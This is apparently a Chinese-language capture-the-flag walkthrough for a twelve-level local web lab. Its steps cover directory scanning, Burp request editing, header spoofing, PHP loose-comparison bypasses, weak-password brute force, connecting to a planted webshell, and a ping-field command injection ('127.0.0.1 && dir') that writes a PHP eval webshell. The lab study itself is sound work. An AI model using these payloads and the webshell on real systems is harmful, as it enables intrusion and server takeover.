Pass01 Source
1,CTF-web的一贯套路:提示有时藏在前端源代码。这里按住F12查看前端源代码就能得到flag
Pass02 Response
1,拿到题目之后,首先扫描网站子目录,查看有什么页面
dirsearch -u http://192.168.1.101/Mimikyu-main/Pass02
正确的应该是访问index.php,但是无法直接访问,需要burpsuite抓请求然后改包
然后就能得到flag
Pass03 Get
1,根据题目要求提交即可
使用burpsuite抓包改包,成功得到flag
Pass04 Robots
1,一贯套路,访问robots.txt即可
再访问f1ag_1s_h3re.php
Pass05 Backup
1,再来扫描网站子目录
dirsearch -u http://192.168.1.101/Mimikyu-main/Pass05
访问一下192.168.1.101/Mimikyu-main/Pass05/www.zip
下载压缩包,解压就能得到flag
Pass06 Cookie
1,先抓包,观察题目提示
根据题目要求在repeater模块进行改包,然后发送得到flag
Pass07 HTML
1,观察题目,发现无法点击按钮
F12查看源代码大法,删除disabled即可
再次点击按钮就能看到flag
pass08 xff_referer
1,观察题目要求
burpsuite抓包该请求头即可,user-agent下添加一条x-forwarded-for:123.123.123.123
根据题目要求更改referer的值为https://www.google.com即可,得到flag
pass09 PHP
1,阅读题目要求,提示使用GET方式来传入a,b两个值
获取flag1的条件:
- 参数a必须满足$a == 0且$a本身为真。
- 解决方法:利用PHP的松散类型比较和布尔转换特性。例如,传递a=0e123:
- 0e123在松散比较中等于0(科学计数法计算为0)。
- 非空字符串"0e123"在布尔判断中为true。
获取flag2的条件:
- 参数b不能为数字,但在数值比较时需大于1234。
- 解决方法:传递一个以数字开头后跟非数字字符的字符串,例如b=1235a:
- is_numeric("1235a")返回false,绕过exit()。
- 字符串转换为数值时提取前导数字1235,满足1235 > 1234。
同时获取两个flag:
http://192.168.1.101/Mimikyu-main/Pass09/?a=0e123&b=1235a
pass10 weak_auth
1,观察到是一个登录页面,提示又是弱口令,常用密码字典爆破出就行
如此爆破就能得到用户名密码:admin/1234567
登录之后就得到了flag
pass11 Webshell
这个网页已经被放了一句话木马木马,使用蚁剑直接连接就行
然后就能在这其中找到flag
pass12 rce
1,网站提供了一个提交查询执行ping命令的功能,实际上是调用了服务器的系统命令
127.0.0.1 && dir 测试证明网站存在命令执行漏洞。可以直接写一句话木马乃至读取flag.txt
尝试命令执行漏洞写一句话木马
echo "<?php @eval($_POST['shell']);?>" > shell.php
验证成功,拿蚁剑直接连接即可
成功得到网站服务器控制权和flag